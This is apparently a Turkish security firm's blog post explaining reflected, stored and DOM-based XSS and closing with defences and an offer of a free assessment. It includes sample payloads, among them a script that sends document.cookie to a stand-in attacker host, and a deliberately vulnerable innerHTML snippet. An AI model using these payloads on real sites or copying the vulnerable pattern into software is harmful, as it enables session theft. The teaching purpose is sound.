← Tüm Yazılar
XSS,Web Güvenliği,İleri Seviye

XSS Türleri: Reflected, Stored ve DOM-Based Farkları

2026-08-01 · REDCELL AR-GE

Cross-Site Scripting (XSS), saldırganın kurbanın tarayıcısında JavaScript çalıştırmasına olanak veren bir açıktır. Ama "XSS" tek bir şey değil; zararlı kodun kurbana nasıl ulaştığına göre üç türe ayrılır.

Örnekler yalnızca kendi sisteminizde veya yetkili test kapsamında denenmelidir (TCK 243-244).

1. Reflected XSS (Yansıyan)

Zararlı kod, isteğin bir parçası olarak sunucuya gider ve anında yanıtta geri yansır. Kalıcı değildir; kurbanın hazırlanmış bir bağlantıya tıklaması gerekir.

Örneğin bir arama sayfası, aranan kelimeyi ekrana basıyorsa:

https://ornek.com/ara?q=<script>alert(document.domain)</script>

Uygulama q parametresini denetlemeden basıyorsa, kod çalışır. Saldırı, bu bağlantının kurbana (e-posta/mesajla) gönderilmesiyle gerçekleşir.

2. Stored XSS (Depolanan)

En tehlikeli türdür. Zararlı kod sunucuya kaydedilir (yorum, profil, mesaj) ve o sayfayı açan herkeste çalışır — tıklama gerekmez.

<script>new Image().src='https://saldirgan.ornek/c?'+document.cookie</script>

Bir yorum kutusuna girilen bu kod, yöneticinin oturum çerezini çalabilir. Gerçek bir vaka anlatımı için bu senaryomuza bakın.

3. DOM-Based XSS

Bu türde açık sunucuda değil, tarayıcıdaki JavaScript'tedir. Sunucu hiç zararlı veri görmez; istemci kodu, URL'den aldığı veriyi güvensiz biçimde sayfaya yazar:

// Zayıf kod — konum bilgisini doğrudan sayfaya yazıyor
document.getElementById('selam').innerHTML = location.hash.substring(1);

Saldırgan #<img src=x onerror=alert(1)> ekleyerek kodu çalıştırır. Sunucu logunda hiçbir iz olmaz — tespiti bu yüzden zordur.

Farkların Özeti

Savunma: Üç Katman

1. Çıktı kodlaması (output encoding). Ekrana basılan her kullanıcı verisi kaçış karakterine çevrilmeli. innerHTML yerine textContent kullanın.
2. İçerik Güvenlik Politikası (CSP). script-src 'self' ile satır içi script'leri engelleyin.
3. HttpOnly çerez. Oturum çerezine JavaScript erişemesin — çerez hırsızlığı yükü çalışmaz.

Sonuç

XSS türlerini ayırt etmek, doğru savunmayı seçmenin ön koşuludur — özellikle DOM-based, geleneksel sunucu testlerinden kaçar. Sitenizde kullanıcının yazı girebildiği her alan bir XSS test noktasıdır. REDCELL bu noktaların tamamını yetkili kapsamda test eder — ücretsiz ön değerlendirme.

Sisteminizin güvenliğinden emin misiniz?

Ücretsiz Ön Değerlendirme →